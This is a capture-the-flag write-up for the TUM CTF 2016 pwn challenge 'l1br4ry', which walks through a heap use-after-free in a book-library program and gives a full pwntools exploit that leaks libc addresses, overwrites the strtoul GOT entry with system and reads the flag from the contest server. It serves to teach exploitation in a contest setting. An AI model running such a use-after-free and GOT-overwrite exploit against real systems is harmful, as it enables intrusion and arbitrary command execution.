##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

l1br4ry

[TUM CTF, 2016]

category: pwn

by f0rki, wolvg

  • Category: pwn
  • Points: 300
  • Description:

All my friends show off their big ebook collection, and since I am a pleb and still use printed copies I downloaded this tool off some trustworthy web page. They even had an image with a green lock next to it saying ‘Dieses System ist sicher’. Now i can show off my book collection as well, even without going to the shelf!

It would be a shame if someone could pwn it.

nc 130.211.206.204 1340

Write-up

This binary provides a library where one can add books with title, rating and 'short thoughts'. The books are allocated at the heap and the book struct looks something like:

struct {
    char name[32];
    char thoughts[32];
    unsigned long rating;
}

After playing around a little with the application and looking for issues, we pretty soon noticed that we could create a use-after free condition by creating a book, making it our favorite to keep a stale pointer around and then free it.

We can see this with the following example run:

Main menu
---------------------------
---------------------------
a: add a new one
q: exit
> a
[0x40092e] vuln->realloc(0, 8)                                          = 0x1ac6420
[0x40094b] vuln->malloc(72)                                             = 0x1ac6440
Title: asdf
Rate the book on a scale from 0 to 10: -1
Short thoughts about the book: asdf

Main menu
---------------------------
  0: asdf
---------------------------
a: add a new one
q: exit
> 0

asdf
Your score: 18446744073709551615
Your thoughts: asdf
--------------------------------
Your choices:
f: make it your favorite
e: edit it
d: delete it
Any other key: get back to the main menu
> f

Main menu
---------------------------
  0: Your favorite: asdf
  1: asdf
---------------------------
a: add a new one
q: exit
> 1

asdf
Your score: 18446744073709551615
Your thoughts: asdf
--------------------------------
Your choices:
f: make it your favorite
e: edit it
d: delete it
Any other key: get back to the main menu
> d
[0x400ec2] vuln->realloc(0x1ac6420, 0)                                  = 0
[0x4008d8] vuln->free(0x1ac6440)                                        = <void>

Main menu
---------------------------
  0: Your favorite: 
---------------------------
a: add a new one
q: exit
> 0


Your score: 18446744073709551615
Your thoughts: asdf
--------------------------------
Your choices:
f: make it your favorite
e: edit it
Any other key: get back to the main menu
> 

We can also see that the application uses a realloc'ed array to store the pointers to the book objects. It took us quite a while to realize how we could exploit this. If we allocate a lot of books and free them again we might somehow run into the condition that a book and the books array are in the same place on the heap.

If we come to this condition we can use the favorite book pointer to point to that location and use the edit book code to write to whatever is at that location. If the books array is a the versy same location we can also modify it and replace one of the pointers to the book objects with a pointer to another arbitrary memory location. Then we use the edit books functionality again to write something at that location. This would make a very nice write-anything-anywhere primitive. An easy target for this are overwrites to the GOT, but we have to check for mitigation mechanisms first.

[*] '/media/data/ctf/tumctf_2016/pwn/l1br4ry_300/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

So we have only partial RELRO, which usually isn't really and obstacle, because often you can find an imported function with a writable GOT entry, so that control-flow can be hijacked by overwriting a function pointer in the GOT.

OK so we have a plan for exploiting this issue but first we need to check whether we can reach the aforementioned condition. We used ltrace to log the calls to malloc and realloc and then search through the output to find a malloc (for book objects) and a realloc (for the books array) that have returned the same address. Note that it's important that the realloc calls also shrink the size of the books array, otherwise this would probably be impossible to exploit this way.

The following script allocates a bunch of books and then frees them again and searches the ltrace output for matching calls to malloc/realloc and outputs the number of book allocations it took to get there.

from pwn import *
errf = open("./ltrace.out", "w")
vp = process("ltrace -C -i -e 'malloc+free+realloc' ./vuln",
             shell=True, stderr=errf)
# create a couple of books
p = log.progress("allocating books: ")
for i in range(100):
    vp.send("a\n\n\n\n")
    if i & 0xf == 0:
        vp.clean()
        p.status("{} of 100".format(i))
p.success("done")
p = log.progress("deleting books: ")
for i in range(100):
    vp.send("0\nd\n")
    if i & 0xf == 0:
        vp.clean()
        p.status("{} of 100".format(i))
p.success("done")
vp.close()
errf.flush()
errf.close()
realloc_num = 0
reallocs = {}
malloc_num = 0
mallocs = {}
with open("./ltrace.out", "r") as f:
    for line in f.readlines():
        if "realloc" in line:
            addr_r = line.strip().split(" ")[-1]
            addr = int(addr_r, 16)
            reallocs[realloc_num] = addr
            realloc_num += 1
        elif "malloc" in line:
            addr_r = line.strip().split(" ")[-1]
            addr = int(addr_r, 16)
            mallocs[realloc_num] = addr
            malloc_num += 1
for i, r in reallocs.iteritems():
    for j, m in mallocs.iteritems():
        if r == m:
            print(j, "malloc", "==", i, "realloc", hex(m))

If we run this script we'll see that this really is the case a couple of times. But let's stick to the first time:

(10, 'malloc', '==', 8, 'realloc', '0x184e2e0')

cat ltrace.out | grep 0x184e2e0
[0x40092e] vuln->realloc(0x184e200, 64)          = 0x184e2e0
[0x40092e] vuln->realloc(0x184e2e0, 72)          = 0x184e2e0
[0x40092e] vuln->realloc(0x184e2e0, 80)          = 0x184e3d0
[0x40094b] vuln->malloc(72)                      = 0x184e2e0
[0x4008d8] vuln->free(0x184e2e0)                 = <void>

We can see that if we allocate 8 books, so the books array has size 64, the books array will be at address 0x184e2e0. If we allocate another two books, realloc will move the books array to 0x184e3d0. The next book that is then allocated with malloc is also placed at 0x184e2e0.

Now we can set the favorite book pointer to the 10th book. We will then delete all the books and as a consequence the books array will be freed as well. Then we allocate books again, but this time only 8. Because there is no other heap allocation happening the books array will very likely be placed at 0x184e2e0 again and our favorite book pointer will point to exactly this location :)

A very nice side effect of this condition is that the program will print the data at the favorite book pointer, when printing the menu. So we get a very nice infoleak for free :)

So we have our nice write-anything-anywhere primitive, an infoleak and nothing stopping us from popping shells.

Our plan was to

  1. Get to vulnerable program state
  2. Leak address of printf by writing printf got entry to address of first book
  3. Compute address of magic shell spawning gadget in libc (from Dragon Sector presentation)
  4. Overwrite printf GOT entry with this address
  5. pop shell and get flag

Unfortunately this didn't work out at all and we spent way too much time trying to find the reason why. In the end the plan changed to:

  1. Compute address of system
  2. Write address of strtoul GOT entry to the address of the first book
  3. Overwrite strtoul GOT entry with address of system
  4. Input shell command when asked for score (9 char limit)
  5. pop shell and get flag

Our final exploit script:

from pwn import *
velf = ELF("./vuln")
libc = ELF("./libc-2.19.so")  # from debian jesse, according to hint by organizers
# libc = ELF("/usr/lib/libc-2.24.so")
log.info(hex(libc.symbols['printf']))
# printf_to_pwn = libc.symbols['printf'] - 0x0004137b
# printf_to_pwn = libc.symbols['printf'] - 0xd6e77
printf_to_pwn = libc.symbols['printf'] - libc.symbols['system']
log.info("printf_to_pwn is {}".format(hex(printf_to_pwn)))
# vp = process("./vuln") #, env={'LD_PRELOAD': "./libc-2.19.so"})
# gdb.attach(vp, execute="""
# init-peda
# # break * 0x00400b9e
# watch * 0x602048
# """)
vp = remote("130.211.206.204", 1340)
for i in range(10):
    vp.send("a\n\n\n\n")
    vp.clean()
vp.sendline("2")
vp.sendline("f")
for i in range(10):
    vp.send("1\nd\n")
for i in range(8):
    vp.send("a\n\n\n\n")
    vp.clean()
vp.clean()
sleep(1)
vp.clean()
vp.sendline("0")
vp.sendline("e")
vp.sendline(p64(velf.got['printf']))
vp.sendline("")
sleep(1)
vp.clean()
vp.sendline("")
# with context.local(log_level='debug'):
vp.recvuntil("-")
log.debug(vp.recvline())
line = vp.readline()
assert "favorite" in line
line = vp.readline()
log.info(line)
log.info(hexdump(line))
x = line.find("1:") + 2
log.info(hexdump(line[x:].strip()))
y = line[x:].strip()
while len(y) != 8:
    y = y + "\x00"
printf_addr = u64(y)
log.info("got printf addr at: {}".format(hex(printf_addr)))
# vp.interactive()
vp.clean()
# vp.interactive()
# vp.close()
# system_addr = printf_addr - printf_to_pwn
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.info("got system addr at: {}".format(hex(system_addr)))
vp.sendline("0")
vp.sendline("e")
vp.sendline(p64(velf.got['strtoul']))
vp.sendline("")
sleep(1)
vp.clean()
vp.sendline("")
vp.sendline("1")
vp.sendline("e")
# vp.sendline(p64(velf.plt['__stack_chk_fail']))
# vp.sendline(p64(0x004007a0))
vp.sendline(p64(system_addr))
#vp.sendline("sh")
vp.sendline("cat flag.txt")
vp.sendline("")
vp.clean_and_log()
vp.interactive()
vp.close()

This got us the flag:

hxp{5t0re_Y0uR_mu5iCz_2}
/writeups/ $

$